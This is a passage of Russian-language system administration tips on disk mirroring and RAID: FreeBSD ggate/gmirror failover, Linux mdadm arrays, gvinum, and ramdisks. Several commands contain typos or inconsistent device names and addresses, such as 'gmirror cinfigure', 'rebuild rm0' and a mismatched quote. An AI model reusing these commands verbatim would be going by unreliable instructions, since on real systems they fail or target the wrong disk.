    	exclude /tmp
    	exclude /var/emtpy
    	exclude /var/run
    
    Стоит не забыть потом создать эти директории в /h с соответствующими правами
    на них. В частности без /dev система не загрузится.
    
     
    ----* Зеркалирование дисков по сети, между двумя FreeBSD серверами (аналог DRBD) (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Функциональности DRBD во FreeBSD можно добиться примонтировав блочное устройство по сети 
    при помощи GEOM Gate (ggate) и добавив его в зеркало с локальным диском средствами gmirror.
    Для увеличения производительности две машины желательно соединить напрямую
    через отдельные гигабитные Ethernet порты.
    Размер зеркалируемых дисковых разделов должен быть минимально возможным для решаемой задачи,
    так как для последующего перестроения зеркала большого размера может
    понадобиться слишком много времени.
    Например, 20Гб раздел будет синхронизирован при 100Мбит линке за 30 минут, а 500Гб - за 11 часов.
    
    Имеем два узла: master - машина на которой выполняется работа, 
    slave - запасная машина, которая в случае краха мастера перехватит инициативу.
    
    Организуем процесс зеркалирования: разделы /dev/da0s1d на обоих машинах будут
    использованы в качестве вешнего диска, а /dev/ad0s1e - в качестве локального.
    
    Включаем на обоих машинах поддержку GEOM модулей geom_mirror и geom_gate.
    Прописываем в /boot/loader.conf:
    
       geom_mirror_load="YES"
       geom_gate_load="YES"
    
    Перезагружаем системы или загружаем модули руками, если то позволяет текущий securelevel:
     
      kldload geom_mirror
      kldload geom_gate
    
    Предположим, что обе машины имеют два сетевых интерфейса:
    fxp0 - для взаимодействия с внешним миром (мастер узел имеет IP 172.16.100.1, а
    slave - 172.16.100.2).
    fxp1 - для зеркалирования дисков между узлами (master - 192.168.100.1, slave - 192.168.100.2).
    На fxp0 мастера также поднят через алиас 172.16.100.12, который будет использоваться 
    для предоставления публичных сервисов и в случа краха мастера будет перехвачен на slave узле.
    
    Для переключения на slave в случае сбоя будем использовать freevrrpd, установленный 
    из порта /usr/ports/net/freevrrpd
    
    Пример конфигурации freevrrpd:
    Мастер узел:
    
       [VRID]
       serverid = 1
       interface = fxp0
       priority = 255 # повышенный приоритет для master
       addr = 172.16.100.12/32 #  рабочий IP, обрабатывающий запросы внешнего мира.
       password = anyoneulike
       masterscript = /usr/local/bin/become_master
       backupscript = /usr/local/bin/become_standby
    
    Резервный узел, который перехватит инициативу в случае краха мастера:
    
       [VRID]
       serverid = 1
       interface = fxp0
       priority = 240 # пониженный приоритет, поднимать сервер только в случае краха мастера
       addr = 172.16.100.12/32 # какой IP поднимать в случае краха мастера
       password = anyoneulike
       masterscript = /usr/local/bin/become_master
       backupscript = /usr/local/bin/become_standby
    
    
    Экспорт дисковых разделов.
    
    На мастер узле прописываем параметры экспортируемого со slave диска в /etc/gg.exports:
    
       192.168.0.2 RW /dev/da0s1d
    
    А на slave-е параметры диска на мастр-узле (в случае краха мастера, slave
    возмет на себя роль мастера):
    
       192.168.0.1 RW /dev/da0s1d
    
    
    На запасной машине запускаем процесс ggated (только на slave, не на мастере !).
    
       ggated -v
    
    Демон будет запущен в режиме отладки. 
    После того как все заработает нужно прописать запуск ggated в стартовый скрипт слейва.
    
    Импортирование удаленного блочного устройства на мастер-узле осуществляется командой:
    
       ggatec create 192.168.100.2 /dev/da0s1d
    
    которая вернет имя нового устройства, как правило это будет ggate0
    В дальнейшем на мастере нужно осуществлять дисковые операции с /dev/ggate0
    Запускаем  ggatec только на мастере !
    
    При сбое мастера freevrrpd скрипт become_master завершит выполнение ggated на
    slave узле и выполнит ggatec,
    а после восстановления старого мастера поднимет на нем ggated через скрипт become_standby
    
    
    Настройка заркалирования.
    
    На мастер-узле создаем RAID-1 из локального и удаленного дисков:
    
       gmirror label -v -n -b prefer gm0 /dev/ggate0
       gmirror insert -p 100 gm0 /dev/ad0s1e
    
    Алгоритм балансировки "prefer" важен для минимизации нагрузки на вторичный диск, 
    все операции чтения будут производится с локального диска, которому выставлен
    более высокий приоритет 100.
    
    Перестраиваем массив:
    
       gmirror rebuild rm0 ggate0
    
    Для включения опции автосинхронизации слайсов выполняем:
    
       gmirror configure -a gm0
    
    После завершения синхронизации массива в логе увидим:
    
       GEOM_MIRROR: Device gm0: rebuilding provider ggate0 finished.
       GEOM_MIRROR: Device gm0: provider ggate0 activated.
    
    Далее /dev/gm0 можно отформатировать стандартным образом через newfs и
    примонтировать на мастер сервере.
    
    
    Переключение на резевный (slave) сервер в случае краха основного сервера.
    
    Проведем эксперимент - отключим линк у мастер-сервера, симулировав его крах. 
    Ниже описана логика работы скрипта become_master
    
    На slave завершим ggated процесс. Зеркало должно автоматически заработать на запасном узле:
    
       GEOM_MIRROR: Device gm0 created (id=2381431211).
       GEOM_MIRROR: Device gm0: provider ad0s1e detected.
       GEOM_MIRROR: Force device gm0 start due to timeout.
       GEOM_MIRROR: Device gm0: provider ad0s1e activated.
       GEOM_MIRROR: Device gm0: provider mirror/gm0 launched.
    
    Далее выпоним fsck на случай нарушения целостности ФС и примонтируем раздел:
    
       fsck -t ufs /dev/mirror/gm0
       mount /dev/mirror/gm0 /mnt
    
    После того как раздел заработал на slave-сервере, попытаемся восстановить работу мастера,
    который должен после краза занять роль запасной машины.
    
    После включения мастер-узла, займемся восстановления его статуса первичного узла.
    
    На местере останавливаем работу зеркала gmirror для перевода его в подчиненный режим.
    
       gmirror stop gm0
    
    Запускаем ggated для приема репликаций от бывшего слейва, теперь ставшего основным сервером
    
       ggated -v
    
    Подключаем локальный диск /dev/da0s1e в зеркало в качестве неприоритетного раздела.
    Для этого выполняем автоконфигурацию:
    
       gmirror configure -n gm0
    
    Оформляем экспорт локального диска /dev/da0s1e:
    
       ggatec create 192.168.100.2 /dev/da0s1e
    
    И ставим экспортируемому диску наименьший приоритет.
    
       gmirror insert -p 0 gm0 /dev/ggate
    
    Включаем автоконфигурацию зеркала:
    
       gmirror cinfigure -a gm0
    
    Перестраиваем зеркало:
    
       gmirror rebuild gm0 ggate0
    
    После завершения перестроения в логе наблюдаем:
    
       GEOM_MIRROR: Device gm0: rebuilding provider ggate0 finished.
       GEOM_MIRROR: Device gm0: provider ggate0 activated.
    
    Удаляем раздел /dev/ad0s1d из зеркала и вновь добавляем его с повышенным приоритетом, 
    для восстановления функций основного сервера:
    
       gmirror remove gm0 /dev/ad0s1d
       gmirror insert -p 100 gm0 /dev/ad0s1d
    
    
    Ситуация краха запасного сервера, при работающей мастере.
    
    После восстановления работы слейва, на мастер хосте временно отключаем импорт диска:
    
       ggatec destroy -f -u 0
    
    в логе
    
       GEOM_GATE: Device ggate0 destroyed.
       GEOM_MIRROR: Device gm0: provider ggate0 disconnected.
    
    На слейв узде останавливаем зеркалирование:
    
       gmirror stop gm0
    
    Запускаем на слейве экспорт ggated
    
       ggated -v
    
    На мастер узле подключаем удаленный диск:
    
       ggatec create 192.168.100.2 /dev/da0s1e
    
    На мастере автоматически должен быть обнаружен подключенный внешний диск:
    
       GEOM_MIRROR: Device gm0: provider ggate0 detected.
       GEOM_MIRROR: Device gm0: provider ggate0 activated.
    
    Запускаем перестроение raid и ждем его завершения:
    
       gmirror rebuild gm0 ggate0
    
    
    Замечания по поводу сохранения целостности данных:
    
    - нельзя экспортировать через ggated физические разделы, если они уже добавлены в зеркало;
    - не нужно предпринимать попытки создания мастер-мастер репликации, это невозможно;
    - нельзя монтировать экспортируемый раздел на активном слейв сервере.
    Монтирование экспортируемого раздела слейва возможно только на мастер-узле;
    - После сбоя необходимо выполнить fsck для зеркала;
    - Обязательно ведение резервного копирования зеркала.
    
     
    ----* Добавление дополнительного диска в программный RAID5 в Linux   [комментарии]
     
    Имеем 3 диска: /dev/sda,/dev/sdb, /dev/sdc
    
    Создаем RAID5:
    
       mdadm --create /dev/md0 --chunk=64 --level=5 --raid-devices=3 /dev/sda1 /dev/sdb1 /dev/sdc1
    
    Со временем докупили еще диск и решили использовать его как запасной, 
    который автоматически включается в работу при сбое одного из дисков.
    
    Подключаем /dev/sdd1, как "spare":
       mdadm --manage /dev/md0 --add  /dev/sdd1
    
    Позже места в RAID5 стало нехватать и мы решили включить spare диск в состав RAID5.
    Перестраиваем массив:
       mdadm --grow /dev/md0 --raid-devices=4
    
    Через несколько часов, когда операция будет завершена (следим через /proc/mdstat),
    расширяем файловую систему:
       fsck.ext3 /dev/md0
       resize2fs /dev/md0
    
     
    ----* Создание программного RAID10 в Linux (доп. ссылка 1)   [комментарии]
     
    Имеет 4 диска: /dev/sd[abcd], на каждом из которых создано по одному разделу.
    Хотим получить RAID10, как комбинацию из двух raid1, объединенных в raid0 (striping).
    
    Создаем два RAID1, /dev/md0 и /dev/md1
       mdadm --create /dev/md0 --level=1 --raid-devices=2 /dev/sda1 /dev/sdb1
       mdadm --create /dev/md1 --level=1 --raid-devices=2 /dev/sdc1 /dev/sdd1
    
    Объединяем их в RAID10 (1+0):
       mdadm --create /dev/md2 --chunk=64 --level=0 --raid-devices=2 /dev/md0 /dev/md1
    
    Тоже самое можно проделать одной командой
       mdadm --create /dev/md0 --level=10 --raid-devices=4 /dev/sda1 /dev/sdb1 /dev/sdc1 /dev/sdd1
    
    Смотрим, что получилось в итоге:
       mdadm --detail /dev/md2 
       cat /proc/mdstat
    
     
    ----* Как заменить сбойный диск в программном RAID1 в Linux (доп. ссылка 1)   Автор: howtoforge.com  [комментарии]
     
    Программный RAID1 /dev/md0 включает в себя разделы /dev/sda1 и /dev/sdb1.
    Задача заменить диск  /dev/sdb.
    
    Диагностику смотрим через (если вместо [UU] видим [U_], то целостность одного из дисков нарушена):
       cat /proc/mdstat
    
    Помечаем раздел как сбойный:
       mdadm --manage /dev/md0 --fail /dev/sdb1
    
    Отключаем раздел (удаляем из RAID1)
       mdadm --manage /dev/md0 --remove /dev/sdb1
    
    Выключаем машину, меняем диск. 
    
    Создаем через fdisk идентичные разделы, или копируем структуру первого диска /dev/sda:
       sfdisk -d /dev/sda | sfdisk /dev/sdb
    
    Добавляем раздел в RAID1 массив:
       mdadm --manage /dev/md0 --add /dev/sdb1
    
     
    ----* Создание программного RAID1 под FreeBSD c использованием gmirror (доп. ссылка 1)   Автор: zulustips.com  [комментарии]
     
    Имеем два диска /dev/ad4 и /dev/ad6, на /dev/ad4 установлена рабочая система.
    
    Создаем RAID1 /dev/mirror/gm0  и подключаем к нему диск /dev/ad4 (текущий):
       gmirror label -v -b round-robin gm0 /dev/ad4
    
    В случае появления ошибки "Can't store metadata on /dev/ad4: Operation not permitted" делаем:
       sysctl kern.geom.debugflags=16
    
    Включаем загрузку модуля ядра geom_mirror.ko:
       echo geom_mirror_load=YES >> /boot/loader.conf
    
    В /etc/fstab меняем /dev/ad4 на /dev/mirror/gm0
    
    Перезагружаемся и проверяем все ли нормально.
    
    Подключаем в RAID1 второй диск:
       gmirror insert gm0 /dev/ad6
    
    В логе /var/log/messages должно появиться:
       GEOM_MIRROR: Device gm0: provider ad6 detected.
       GEOM_MIRROR: Device gm0: rebuilding provider ad6.
    
    Дожидаемся окончания перестроения RAID, периодически запуская:
       gmirror status
    или
       gmirror list
    
    После завершения перестроения, скорость чтения должна возрасти почти в два раза.
    
    В случае выхода из строя диска /dev/ad6, вставляем новый и делаем:
       gmirror forget gm0
       gmirror insert gm0 /dev/ad6
    
     
    ----* Добавление программного RAID 1 раздела на Linux сервер. (доп. ссылка 1)   Автор: sweta  [комментарии]
     
    Имеем два дополнительных диска:
       /dev/hdb (/dev/hdb1 - 40 GB)
       /dev/hdc (/dev/hdc1 - 40 GB) 
    
    Создаем RAID 1:
       mdadm --create /dev/md0 --level=1 --raid-devices=2 /dev/hdb1 /dev/hdc1
    
    Смотрим статус:
       cat /proc/mdstat
    
    Создаем файловую систему на RAID разделе:
       mkfs.ext3 /dev/md0
    
    Настраиваем монтирование при загрузке (в /etc/fstab):
       /dev/md0                /data2                       ext3    defaults        0 0
    
     
    ----* Создание atacontrol RAID1 под FreeBSD на живой системе (доп. ссылка 1)   Автор: good_loki  [комментарии]
     
    При создании RAID1 например:
        # atacontrol create RAID1 ad0 ad2
    
    система создает raid массив но на него пока ничего не пишеться. Но статус у него READY:
    
        # atacontrol status ar0
       ar0: ATA RAID1 subdisks: ad4 ad6 status: READY
    
    Система считает что после создания raid, на нем создадут слайсы,
    и партиции, после чего на них запишут данные.(что и происходит при установке системы на ar0)
    при этом все данные не будут нарушать целостность raid.
    Но систему можно обмануть.
    
       # atacontrol list
       ATA channel 0:
           Master:  ad0 <ST380011A/3.06> ATA/ATAPI revision 6 //живая система
           Slave:       no device present
       ATA channel 1:
           Master:  ad2 <ST380011A/3.06> ATA/ATAPI revision 6 //новый диск
           Slave:       no device present
    
       # atacontrol detach 1
    
    Теперь мы имеем целостный RAID1 состоящий из одного диска с системой.
    
       # atacontrol status ar0
          ar0: ATA RAID1 subdisks: ad0 DOWN status: DEGRADED
    
    Прописываем ar0 в fstab
       # Device         Mountpoint FStype Options Dump Pass#
       /dev/ar0s1b none swap       sw             0       0
       /dev/ar0s1a      /          ufs     rw     1       1
       /dev/ar0s1e      /tmp       ufs     rw     2       2
       /dev/ar0s1f      /usr       ufs     rw     2       2
       /dev/ar0s1d      /var       ufs     rw     2       2
    
    перегружаем систему (!!!должна нормально смонтировать все файловые системы,
    внимательно смотрите лог загрузки)
    после перезагрузки:
    
       # atacontrol status ar0
          ar0: ATA RAID1 subdisks: ad0 DOWN status: DEGRADED
       # atacontrol addspare ar0 ad2
       # atacontrol rebuild ar0
       # atacontrol status ar0
          ar0: ATA RAID1 subdisks: ad0 ad1 status: REBUILDING 1% completed
    
    После окончания rebuild система готова к использованию.
    
     
    ----* Как перенеси существующую Linux систему на RAID1 добавив второй диск (доп. ссылка 1)   Автор: philcore  [комментарии]
     
    /dev/sda - диск с установленной ОС
    /dev/sdb - новый диск для зеркала
    
    Клонируем информацию о разделах на новый диск:
       sfdisk -d /dev/sda | sfdisk /dev/sdb
    
    Создаем RAID1, но первый диск пока не трогаем, пометив его отсутствующим:
       mdadm --create /dev/md0 --level 1 --raid-devices=2 missing /dev/sdb1
       mdadm --create /dev/md1 --level 1 --raid-devices=2 missing /dev/sdb2
       и т.д. для всех существующих разделов.
    
    Создаем ФС:
       mkfs.ext3 /dev/md0
       mkfs.ext3 /dev/md1
       ...
    
    Монтируем и копируем данные в RAID:
       mount /dev/md0 /mnt
       cp -dpRx / /mnt
       mount /dev/md1 /mnt/var
       cp -dpRx /var /mnt
       ...
    
    Меняем устройство для загрузки, для Grub в /mnt/boot/grub/menu.lst:
       title       Custom Kernel 2.6.11.7
       root        (hd0,0)
       kernel      /boot/vmlinuz-2.6.11.7 root=/dev/md0 md=0,/dev/sda1,/dev/sdb1 ro
       boot
    
       title       Custom Kernel 2.6.11.7 (RAID Recovery)
       root        (hd1,0)
       kernel      /boot/vmlinuz-2.6.11.7 root=/dev/md0 md=0,/dev/sdb1 ro
       boot
    
    Устанавливаем Grub на второй диск:
       grub-install /dev/sda
    
    Если при установке выдается ошибка:
       /dev/sda does not have any corresponding BIOS drive.
    
    Нужно выполнить 
       grub-install --recheck /dev/sda
    
    Или установить вручную:
       grub
       grub: device (hd0) /dev/sdb
       grub: root (hd0,0)
       grub: setup (hd0)
       grub: quit
    
    
    
       cp -dp /mnt/etc/fstab /etc/fstab
       cp -dp /mnt/boot/grub/menu.lst /boot/grub
    
    Перезагружаемся (второй диск) и проверяем все ли работает, если да - подключаем старый диск в RAID:
    
       mdadm --add /dev/md0 /dev/sda1
       mdadm --add /dev/md1 /dev/sda2
       ...
    
       cat /proc/mdstat
    
     
    ----* Мониторинг и восстановление программного RAID в Linux   Автор: radigor  [комментарии]
     
    Управление программными RAID1-массивами в RHEL
    
    Мониторинг состояния 
    
    Информация о всех RAID-массивах:
       # more /proc/mdstat
    или
       # cat /proc/mdstat
    или
       # watch -n .1 cat /proc/mdstat
    
    Информация о конкретном дисковом разделе:
       # mdadm -E /dev/sd<a-b><1-10>
    например:
       # mdadm -E /dev/sdb2
    
    
    Восстановление функционирования
    
    Восстановление функционирования (rebuild) разделов диска по одному после
    однократного "несмертельного" сбоя:
       # mdadm -a /dev/md<0-6> /dev/sd<a-b><1-10>
    например:
       # mdadm -a /dev/md0 /dev/sdb1
    Нужно быть аккуратным с номерами разделов
    В случае ошибки, удалить компонент из RAID командой:
       # mdadm -r /dev/md0 /dev/sdb1
    получается не всегда - устройство может быть занято.
    
    
    Замена диска
    
    1. Выключить компьютер и заменить диск
    
    2. Включить компьютер  и определить имеющиеся на обоих дисках разделы:
       # fdisk /dev/sd<a-b> -l
    
    3. С помощью fdisk создать на новом диске разделы, идентичные оригиналу
    Необходимо пометить нужный раздел нового диска (sda1 или sdb1) как загрузочный
    до включения в зеркало.
    Swap-разделы не подлежат зеркалированию в программном RAID
    
    4. Выполнить Мониторинг состояния и Восстановление функционирования 
    
    
    Настройка оповещения
    
    Мониторинг выполняется с помощью crond ежечасно.
    В папку /etc/cron.haurly помещен файл mdRAIDmon, содержащий команду:
       # mdadm --monitor --scan -1 --mail=postmaster@domain.name.ru
    
    Для проверки рассылки сообщения добавляется ключ --test:
       # mdadm --monitor --scan -1 --mail=postmaster@domain.name.ru --test
    
    Помещая файл задания в папку, необходимо установить права доступа на выполнение
    Если нужно чаще, самое простое, добавьте в /etc/crontab строку, используя нотацию с "/", например:
       */5 * * * * root run-parts /etc/cron.my5min
    
    Конечно, можно попробовать и другие варианты планирования заданий с atd или batch. 
    
    Создайте папку /etc/cron.my5min и поместите туда файл mdRAIDmon
    C имитацией отказа диска мне было проще - сервер SR1425BK1 - с корзиной HotSwap
    
     
    ----* Кратко о текущих методах программного зеркалирования под FreeBSD   [обсудить]
     
  • CCD (Concatenated Disk Driver) - поддерживает RAID-0 (Striping) и RAID-1 (Mirroring), под FreeBSD 5 подогнана под работу через GEOM, но возможностей меньше чем в GEOM gmirror. При сбое одного из дисков, для продолжения работы нужно восстановить утраченный диск;
  • Vinum - очень богатые возможности, но сложен и непрозрачен в настройке, под FreeBSD 5 работает нестабильно. При сбое диска, система продолжит работу;
  • GEOM Vinum - порт Vinum для работы через GEOM, еще не достаточно отлажен и документирован;
  • GEOM Mirror - специальный GEOM класс для создания RAID-1 зеркал, прост и понятен в настройке, в FreeBSD 5.3 говорят о хорошей стабильности. Поддерживает зеркалирования как дисков в целом, так и отдельных разделов. Доступно несколько режимов балансировки нагрузки на диски в мирроре (round-robin, использование менее загруженного диска и т.д.). После сбоя система продолжает работу, имеется функция автосинхронизации на новый пустой диск.
  •  
    ----* Настройка программного RAID5 во FreeBSD   Автор: McSeem  [комментарии]
     
    Понадобилось организовать надежное хранение большого объёма данных. По сей день
    использовалось софтовое зеркало, но существующего объёма уже не хватало и
    решено было соорудить RAID5 из трёх дисков по терабайту. В моём случае
    избыточность составит 1/3 против 1/2 (зеркало).
    
    Судя по тому, что мне удалось узнать FreeBSD поддерживает организацию RAID5
    двумя менеджерами дискового пространства: VINUM и GEOM.
    
    Попробуем каждый из них:
    
    I. VINUM.
    
    Начиная с FreeBSD5 VINUM была переписана для совместимости с архитектурой GEOM,
    и теперь новая подсистема называется GVINUM, а модуль ядра сменил название с
    vinum.ko на geom_vinum.ko.
    
    Создадим директорию к которой будем монтировать наш RAID5:
    
       snap# mkdir /raid5
    
    Теперь создаём конфигурационный файл нашего массива(расположить его можно где угодно):
    
       snap# touch /usr/local/gvinum.conf
    
    После этого непосредственно конфигурируем наш массив(как я говорил, в моем
    случае будет 3 диска по терабайту):
    
       snap# vi /usr/local/gvinum.conf
    
    Пишем в файле следующее:
    
       drive raid51 device /dev/ad5
       drive raid52 device /dev/ad6
       drive raid53 device /dev/ad7
       volume raid5
       plex org raid5 256k
       sd len 1t drive raid51
       sd len 1t drive raid52
       sd len 1t drive raid53
    
    Где:
    
    - drive raid51/raid52/raid53 - это просто псевдонимы физических дисков (можно
    придумать любое). Используются чисто для удобства. С этими псевдонимами мы
    будем работать во всём файле и поменяв физический диск, нам не придётся менять
    его название во всём конфигурационном файле, а достаточно лишь изменить в описании.
    
    - volume raid5 - это виртуальный диск (можно придумать тоже любое название).
    Система его будет видеть как 1 физическое устройство, хотя в моем случае это
    массив из 3х дисков с полезным объёмом равным ~2м терабайтам. Отображаться
    будет как /dev/gvinum/raid5 (Назовёте volume terminator, отображаться будет /dev/gvinum/terminator).
    
    - plex - это набор, который предоставляет полное адресное пространство тома.
    Нам нобходим набор RAID5, поэтому организуем набор RAID5: org raid5, причем
    организовываем со страйпом в 256кВ (судя документации это самый оптимальный
    размер полосы).
    
    - sd - это поддиски(SubDisk), VINUM может организовывать массивы не только из
    отдельных физических дисков, но и используя разделы UNIX. Я же использую 3
    отдельных физических устройства, каждый по 1 терабайту, поэтому указываем
    размер: len 1t.
    
    На этом описание конфигурационного файла закончилось. Теперь создаём сам RAID массив:
    
       snap# gvinum create /usr/local/gvinum.conf
    
    Создаётся устройство /dev/gvinum/raid5. На нём необходимо создать файловую систему. Создаём:
    
       snap# newfs /dev/gvinum/raid5
    
    Стандартное ядро FreeBSD(GENERIC) не включает Vinum. Можно пересобрать ядро с
    поддержкой Vinum, но этого делать не рекомендуют. Обычный способ активации
    Vinum - загрузка модуля для ядра (kld). Так и поступим, только использовать
    команду kldload не будем, да и нет необходимости, при первом вызове gvinum
    проверит наличие поддержки Vinum в ядре и при необходимости загрузит модуль
    автоматически. Я сделаю так чтобы модуль Vinum был доступен на этапе загрузки,
    для этого делаем так:
    
       snap# echo geom_vinum_load="YES" >> /boot/loader.conf
    
    И последний момент, нужно смонтировать наш массив (Точку монтирования мы
    указываем /raid5, ту, что создали изначально):
    
       snap# echo /dev/gvinum/raid5 /raid5 ufs rw 2 2 >> /etc/fstab
    
    Перегружаемся и всё должно работать.
    
    :( У меня сервер уходит в Fatal trap 12(Kernel panic) и перегружается до
    бесконечности. Ничего страшного. Выключаем, ждём 5 минут и включаем, если не
    получится, выключаем, ждём ещё 5 минут и включаем, в конце концов включается
    всё норм! Называется размечтался... 1t = 1024G, смотрю свой диск... а там всего
    953869m... В общем нужно в конфиге уменьшить размер - len! И после этого всё
    замечательно работает!!!
    
    Можно выводить диски из массива и т.д., но как-то долго... проще сбросить конфиг:
    
       snap# gvinum resetconfig
    
    На что, он нас спрашивает, вы мол в своё уме? подтвердите что вы это делаете
    осмысленно! И просит ввести текст "NO FUTURE", ну чтож, вводим:
    
       Enter text -> NO FUTURE
    
    Я поменял в конфиге размеры дисков на:
    
       len 953869m
    
    После этого, повторяем команды:
    
       snap# gvinum create /usr/local/gvinum.conf
       snap# newfs /dev/gvinum/raid5
    
    Перегружаемся ещё раз...И вуаля!!! Всё работает!!!
    
    
    II. GEOM:
    
    Пробуем второй вариант. GEOM RAID5 в FreeBSD не входит, поэтому придётся
    скачивать с сайта. На сайте видим, что есть 3 версии это:
    
    - Компромисс скорости и использования памяти: geom_raid5
    - Самая стабильная, но и самая медленная: geom_raid5 TNG
    - Улучшенная скорость, но и памяти соответственно потребляет больше: geom_raid5 PP
    
    Все версии доступны тут:
    
    geom_raid5: http://wgboome.homepage.t-online.de./geom_raid5.tbz
    geom_raid5 TNG: http://wgboome.homepage.t-online.de./geom_raid5-eff.tbz
    geom_raid5 PP: http://wgboome.homepage.t-online.de./geom_raid5-pp.tbz
    
    Я выбрал "geom_raid5", поэтому переходим в папку с источниками:
    
       snap# cd /usr/src
    
    И скачиваем архив:
    
       snap# wget http://wgboome.homepage.t-online.de./geom_raid5.tbz
    
    Архив необходимо распаковать. Действуем:
    
       snap# tar -xf geom_raid5.tbz
    
    Архив распакован,переходим к процессу инсталляции. Первым делом необходимо
    собрать модуль. Переходим в папку с конфигом:
    
       snap# cd /usr/src/sys/modules/geom/geom_raid5
    
    И запускаем компиляцию:
    
       snap# make
    
    упс... :( у меня вылезли ошибки...читаем...пробуем исправить... Для этого делаем следующее:
    
       snap# cd /usr/src/sys/geom/raid5
    
    И правим в файле g_raid5.c (если у вас ошибки будут такие же как и у меня) кому
    каким редактором удобнее:
    
    1. Ошибка: в строке  2015 в функции "kthread_exit" много аргументов
           исправляем: меняем в строке 2015 kthread_exit(0); на kthread_exit();
    2. Ошибка: в строке 2444 в функции "kthread_exit" много аргументов
           исправляем: меняем в строке 2444 kthread_exit(0); на kthread_exit();
    3. Ошибка: в строке 2635 нету описания функции "kthread_create"
           исправляем: меняем в строке 2635 kthread_create (остальное не трогаем), на kproc_create
    4. Ошибка: в строке 2639 нету описания функции "kthread_create"
           исправляем: меняем в строке 2639 kthread_create (остальное не трогаем), на kproc_create
    Примечание: Ошибка 4 другая, и ссылается на строку 2635, но изменив строку 2635
    необходимо изменить и 2639, так что делаем так.
    
    После того как исправили,снова делаем компиляцию модуля:
    
       snap# cd /usr/src/sys/modules/geom/geom_raid5
       snap# make
    
    Появляется нужный нам файл: "*geom_raid5.ko". Его необходимо скопировать ко всем модулям. Копируем:
    
       snap# cp geom_raid5.ko /boot/kernel/geom_raid5.ko
    
    Теперь устанавливаем сам geom_raid5:
    
       snap# cd /usr/src/sbin/geom/class/raid5
       snap# make && make install && make clean
    
    Собственно после инсталляции GEOM_RAID5 собираем RAID массив:
    
       snap# graid5 label -v -s 256k graid5 /dev/da0 /dev/da1 /dev/da2
    
    И создаём устройство:
    
       snap# graid5 load
    
    Создаётся устройство /dev/raid5/graid5. На нём необходимо создать файловую систему. Создаём:
    
       snap# newfs /dev/raid5/graid5
     
    Создаём точку монтирования:
    
       snap# mkdir /graid5
    
    Добавляем запись в /etc/fstab, для автоматического монтирования нашего массива
    RAID5 при загрузке системы:
    
       snap# echo /dev/raid5/graid5 /graid5 ufs rw 2 2 >> /etc/fstab
    
    Не забываем добавить загрузку модуля при старте системы:
    
       snap# echo 'geom_raid5_load="YES" >> /boot/loader.conf
    
    P.S. В конечном итоге остановил свой выбор на GVINUM. В основном из-за того,
    что он входит в состав FreeBSD, а разработчики, раз решили что GEOM_RAID5 ещё
    рано(или уже поздно) входить в релиз, то значит так и есть. Протестировал
    GVINUM на крах (отключением питания и отсоединением шлейфа от одного из дисков
    в режимах чтение\запись, после этого записывал\удалял данные с битого массива,
    перегружался, добавлял снова диск, восстанавливал всё работает замечательно!
    ...но это уже тема для другой статьи...)
    
     
    ----* Установка Adaptec Storage Manager в Debian Lenny (доп. ссылка 1)   Автор: Сергей  [комментарии]
     
    К сожалению на официальном сайте нет готовых решений для Adaptec Storage
    Manager, но поставить было нужно, для этого был скачан rpm пакет для 64 битной
    версии Rеd Hat, так как Debian также был 64 битный.
    
    Ну теперь по порядку:
    
    1. Скачали: asm_linux_x64_v6_40_18530.rpm
    
    2. Создаем директорию:
    
       # mkdir asm_linux_x64_v6_40_18530
    
    3. Кладем туда наш пакет:
    
       # mv asm_linux_x64_v6_40_18530.rpm asm_linux_x64_v6_40_18530
    
    4. Заходим:
    
       # cd asm_linux_x64_v6_40_18530
    
    5. Устанавливаем пакеты:
    
       # apt-get install alien fakeroot
    
    6. Пробуем сконвертировать rpm в deb пакет
    
       fakeroot alien asm_linux_x64_v6_40_18531.rpm
    
    Появляется ошибка:
    
       dpkg-gencontrol: error: current build architecture amd64 does not appear in package&#8217;s list (i386) 
    
    7. Редактируем perl модуль, который использует alien,
    
       vi /usr/share/perl5/Alien/Package/Deb.pm и меняем строчку:
       print OUT "Architecture: ".$this->arch."\n"; 
    
    на 
    
       print OUT "Architecture: amd64\n"; 
    
    Сохраяем и выходим.
    
    8. Теперь перезапускаем:
    
       fakeroot alien --scripts asm_linux_x64_v6_40_18530.rpm
    
    Появится сообщение о том что все прошло удачно:
    
       storman_6.40-18531_amd64.deb generated
    
    9. Создадим новую директорию
    
       storman_6.40-18531_amd64 и поддиректорию
       storman_6.40-18531_amd64/DEBIAN
    
    10. Извлекаем содержимое .deb пакета в созданную директорию
    
       # dpkg -x storman_6.40-18531_amd64.deb storman_6.40-18531_amd64
       # dpkg --control storman_6.40-18531_amd64.deb storman_6.40-18531_amd64/DEBIAN 
    
    11. Уберем специфические для rpm пактов строчки
    
       storman_6.40-18531_amd64/DEBIAN/postinst
    
    Уберем - chkconfig --add stor_agent 
    и storman_6.40-18531_amd64/DEBIAN/postrm
    Уберем - chkconfig --del stor_agent 
    
    12. Все, теперь можно заново все упаковать в .deb пакет
    
       # dpkg -b storman_6.40-18531_amd64/ storman_6.40-18531_amd64_n.deb
    
    13 Установка
    
       # dpkg -i storman_6.40-18531_amd64_n.deb
    
    14. Запуск
    
       /usr/StorMan/StorMan.sh
    
     

       Ramdisk, tmpfs

    ----* Как под FreeBSD создать файловую систему в памяти (ramdisk)   [комментарии]
     
    man mount_mfs
       mount_mfs -s 614400 /dev/amrd0s1b /usr/obj
    где /dev/amrd0s1b - swap раздел, 614400 - размер MFS диска N*1024*2 (614400 == 300mb).
    
     
    ----* Как под Linux создать ramdisk большого размера для использования в качестве временного хранилища.   [комментарии]
     
    Советую использовать tmpfs или ramfs
    (разница в том, что данные tmpfs подвержены своппингу, ramfs  создана для
    тестов, а ramdisk всегда хранится в ОЗУ)
    /usr/src/linux/Documentation/filesystems/tmpfs.txt
        mount -t tmpfs -osize=256M /dev/shm1 /mnt1
    Для ramfs:
         mount -t ramfs -omaxsize=256M none /mnt1
    Если желание использовать ramdisk осталось, читаем 
    /usr/src/linux/Documentation/ramdisk.txt
        mkdir /ramdisk
    Для 256Мб ramdisk в lilo.conf добавляем:
        append="ramdisk_size=256000"
    Запускаем lilo и перезагружаем машину.
       mke2fs /dev/ram0
       mount -t -ext2 /dev/ram0 /ramdisk
    
     

       Диагностика и Восстановление после сбоя

    ----* Полезные пакеты, которые можно установить на сервер для диагностики сбоев (доп. ссылка 1)   [комментарии]
     
    Минимальный набор пакетов  для диагностики проблем, которые рекомендуется
    заранее установить на серверы, чтобы не тратить время на установку
    дополнительных пакетов или поиск специализированных live-дистрибутивов.
    
    Установка диагностических утилит во время сбоя может превратиться в решение
